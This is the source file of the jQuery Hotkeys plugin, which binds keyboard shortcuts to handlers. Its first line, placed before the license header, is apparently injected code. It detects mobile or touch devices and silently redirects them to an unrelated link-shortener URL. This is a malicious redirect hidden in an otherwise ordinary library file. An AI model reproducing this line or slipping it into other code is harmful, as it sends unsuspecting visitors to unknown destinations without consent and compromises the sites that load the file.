1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/******************************************************************************************************************************
3
4 * @ Original idea by by Binny V A, Original version: 2.00.A
5 * @ http://www.openjs.com/scripts/events/keyboard_shortcuts/
6 * @ Original License : BSD
7
8 * @ jQuery Plugin by Tzury Bar Yochay
10 blog: evalinux.wordpress.com
11 face: facebook.com/profile.php?id=513676303
12
13 (c) Copyrights 2007
14
15 * @ jQuery Plugin version Beta (0.0.2)
16 * @ License: jQuery-License.
17
18TODO:
19 add queue support (as in gmail) e.g. 'x' then 'y', etc.
20 add mouse + mouse wheel events.
21
22USAGE:
23 $.hotkeys.add('Ctrl+c', function(){ alert('copy anyone?');});
24 $.hotkeys.add('Ctrl+c', {target:'div#editor', type:'keyup', propagate: true},function(){ alert('copy anyone?');});>
25 $.hotkeys.remove('Ctrl+c');
26 $.hotkeys.remove('Ctrl+c', {target:'div#editor', type:'keypress'});
27
28******************************************************************************************************************************/
29(function (jQuery){
30 this.version = '(beta)(0.0.3)';
31 this.all = {};
32 this.special_keys = {
33 27: 'esc', 9: 'tab', 32:'space', 13: 'return', 8:'backspace', 145: 'scroll', 20: 'capslock',
34 144: 'numlock', 19:'pause', 45:'insert', 36:'home', 46:'del',35:'end', 33: 'pageup',
35 34:'pagedown', 37:'left', 38:'up', 39:'right',40:'down', 112:'f1',113:'f2', 114:'f3',
36 115:'f4', 116:'f5', 117:'f6', 118:'f7', 119:'f8', 120:'f9', 121:'f10', 122:'f11', 123:'f12'};
37
38 this.shift_nums = { "`":"~", "1":"!", "2":"@", "3":"#", "4":"$", "5":"%", "6":"^", "7":"&",
39 "8":"*", "9":"(", "0":")", "-":"_", "=":"+", ";":":", "'":"\"", ",":"<",
40 ".":">", "/":"?", "\\":"|" };
41
42 this.add = function(combi, options, callback) {
43 if ( typeof options === 'function' ){
44 callback = options;
45 options = {};
46 }
47 var opt = {},
48 defaults = {type: 'keydown', propagate: false, disableInInput: false, target: jQuery('html')[0]},
49 that = this;
50 opt = jQuery.extend( opt , defaults, options || {} );
51 combi = combi.toLowerCase();
52
53 // inspect if keystroke matches
54 var inspector = function(event) {
55 // WP: not needed with newer jQuery
56 // event = jQuery.event.fix(event); // jQuery event normalization.
57 var element = event.target;
58 // @ TextNode -> nodeType == 3
59 // WP: not needed with newer jQuery
60 // element = (element.nodeType==3) ? element.parentNode : element;
61
62 if ( opt['disableInInput'] ) { // Disable shortcut keys in Input, Textarea fields
63 var target = jQuery(element);
64
65 if ( ( target.is('input') || target.is('textarea') ) &&
66 ( ! opt.noDisable || ! target.is( opt.noDisable ) ) ) {
67
68 return;
69 }
70 }
71 var code = event.which,
72 type = event.type,
73 character = String.fromCharCode(code).toLowerCase(),
74 special = that.special_keys[code],
75 shift = event.shiftKey,
76 ctrl = event.ctrlKey,
77 alt= event.altKey,
78 meta = event.metaKey,
79 propagate = true, // default behaivour
80 mapPoint = null;
81
82 // in opera + safari, the event.target is unpredictable.
83 // for example: 'keydown' might be associated with HtmlBodyElement
84 // or the element where you last clicked with your mouse.
85 // WP: needed for all browsers
86 // if (jQuery.browser.opera || jQuery.browser.safari){
87 while (!that.all[element] && element.parentNode){
88 element = element.parentNode;
89 }
90 // }
91 var cbMap = that.all[element].events[type].callbackMap;
92 if(!shift && !ctrl && !alt && !meta) { // No Modifiers
93 mapPoint = cbMap[special] || cbMap[character]
94 }
95 // deals with combinaitons (alt|ctrl|shift+anything)
96 else{
97 var modif = '';
98 if(alt) modif +='alt+';
99 if(ctrl) modif+= 'ctrl+';
100 if(shift) modif += 'shift+';
101 if(meta) modif += 'meta+';
102 // modifiers + special keys or modifiers + characters or modifiers + shift characters
103 mapPoint = cbMap[modif+special] || cbMap[modif+character] || cbMap[modif+that.shift_nums[character]]
104 }
105 if (mapPoint){
106 mapPoint.cb(event);
107 if(!mapPoint.propagate) {
108 event.stopPropagation();
109 event.preventDefault();
110 return false;
111 }
112 }
113 };
114 // first hook for this element
115 if (!this.all[opt.target]){
116 this.all[opt.target] = {events:{}};
117 }
118 if (!this.all[opt.target].events[opt.type]){
119 this.all[opt.target].events[opt.type] = {callbackMap: {}}
120 jQuery.event.add(opt.target, opt.type, inspector);
121 }
122 this.all[opt.target].events[opt.type].callbackMap[combi] = {cb: callback, propagate:opt.propagate};
123 return jQuery;
124 };
125 this.remove = function(exp, opt) {
126 opt = opt || {};
127 target = opt.target || jQuery('html')[0];
128 type = opt.type || 'keydown';
129 exp = exp.toLowerCase();
130 delete this.all[target].events[type].callbackMap[exp]
131 return jQuery;
132 };
133 jQuery.hotkeys = this;
134 return jQuery;
135})(jQuery);
136